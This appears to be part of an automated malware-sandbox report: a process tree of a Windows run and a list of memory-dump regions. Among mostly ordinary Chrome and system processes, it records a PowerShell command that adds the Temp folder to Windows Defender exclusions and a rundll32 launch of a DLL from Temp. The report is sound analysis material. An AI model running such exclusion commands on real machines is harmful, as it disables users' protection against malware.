                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3104
                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=936 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4044
                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4300 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:2616
                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4280 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2588
                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4656 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:2864
                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3404
                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4436 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:3592
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4704 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3116
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1164
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4620 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:952
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1988 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:3504
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1712
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6384f50,0x7fef6384f60,0x7fef6384f70
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:2520
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:3444
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                              PID:2932
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3756
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\csrss.exe
                                                                                                                                                                                                                                                                                                                                                                                                %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1720
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\winlogon.exe
                                                                                                                                                                                                                                                                                                                                                                                                  winlogon.exe
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2620
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "LogonUI.exe" /flags:0x0
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2920
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\IME\IMEJP10\imjppdmg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          /Migration
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3288
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "LogonUI.exe" /flags:0x0
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1596

                                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/372-67-0x0000000000578000-0x0000000000588000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                64KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/472-56-0x0000000076641000-0x0000000076643000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/472-54-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/604-132-0x0000000000150000-0x00000000001C4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/604-133-0x0000000000080000-0x00000000000EB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                428KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/604-126-0x0000000074D81000-0x0000000074D83000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/604-183-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/664-57-0x0000000000020000-0x0000000000029000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/664-53-0x0000000000978000-0x0000000000989000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                68KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/888-264-0x00000000008D0000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                308KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/888-265-0x0000000002F60000-0x0000000002FD2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                456KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-145-0x00000000760E0000-0x0000000076127000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                284KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-146-0x0000000075E20000-0x0000000075ECC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                688KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-144-0x0000000000130000-0x0000000000131000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-142-0x0000000001250000-0x0000000001306000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                728KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-143-0x00000000007B0000-0x00000000007F6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                280KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/932-141-0x0000000001250000-0x0000000001306000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                728KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/968-107-0x0000000000090000-0x00000000000A5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/968-108-0x0000000000090000-0x00000000000A5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1076-78-0x0000000000248000-0x0000000000259000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                68KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1076-79-0x0000000000020000-0x000000000003C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                112KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1076-80-0x0000000000400000-0x0000000000462000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                392KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1104-95-0x0000000000FE0000-0x000000000106A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                552KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1104-100-0x0000000000580000-0x0000000000581000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1104-99-0x0000000004E00000-0x0000000004E01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1104-96-0x0000000000FE0000-0x000000000106A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                552KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1164-220-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                5.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1164-215-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                5.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1164-216-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                5.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1164-240-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                5.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1164-214-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                5.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1184-266-0x00000000004D0000-0x0000000000542000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                456KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1232-170-0x0000000000120000-0x0000000000211000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                964KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1232-171-0x0000000000120000-0x0000000000211000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                964KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1296-77-0x0000000004130000-0x0000000004146000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                88KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1296-74-0x0000000003F80000-0x0000000003F96000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                88KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1296-277-0x0000000006C60000-0x0000000006C76000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                88KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1296-58-0x0000000002120000-0x0000000002136000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                88KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-161-0x00000000009CE000-0x0000000000A2B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                372KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-152-0x000000000095A000-0x00000000009CD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                460KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-153-0x0000000000890000-0x0000000000927000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                604KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-154-0x0000000000400000-0x0000000000885000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-181-0x0000000000400000-0x0000000000885000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-180-0x0000000002230000-0x00000000022C2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                584KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-177-0x0000000000400000-0x0000000000885000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-178-0x00000000002E0000-0x0000000000330000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                320KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-164-0x0000000000400000-0x0000000000885000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-162-0x0000000000400000-0x0000000000885000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1376-163-0x0000000002170000-0x0000000002205000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                596KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1784-63-0x0000000000020000-0x0000000000029000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1784-64-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                436KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1784-61-0x000000000065A000-0x000000000066A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                64KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-114-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-116-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-122-0x0000000000320000-0x0000000000321000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-120-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-115-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-113-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-112-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-119-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                128KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1804-263-0x00000000001E0000-0x000000000023D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                372KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1804-262-0x0000000002040000-0x0000000002141000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1832-169-0x0000000000330000-0x0000000000390000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                384KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1880-134-0x0000000000070000-0x0000000000077000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                28KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1880-111-0x0000000000400000-0x000000000045F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                380KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1880-135-0x0000000000060000-0x000000000006C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                48KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1880-105-0x0000000000288000-0x0000000000299000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                68KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1916-280-0x0000000000080000-0x0000000000092000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                72KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1916-221-0x0000000002430000-0x00000000025CC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1916-278-0x00000000025D0000-0x00000000026BF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                956KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1916-279-0x00000000000A0000-0x00000000000A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1924-242-0x0000000001E40000-0x0000000002A8A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                12.3MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1924-241-0x0000000001E40000-0x0000000002A8A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                12.3MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2012-87-0x0000000000020000-0x0000000000033000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                76KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2012-88-0x0000000000400000-0x000000000045F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                380KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2012-83-0x00000000004E8000-0x00000000004F9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                68KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2088-270-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                436KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2156-200-0x0000000000080000-0x0000000000096000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                88KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2928-261-0x0000000002040000-0x0000000002C8A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                12.3MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2928-256-0x0000000002040000-0x0000000002C8A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                12.3MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-239-0x0000000000330000-0x0000000000331000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-282-0x0000000002440000-0x0000000002462000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                136KB

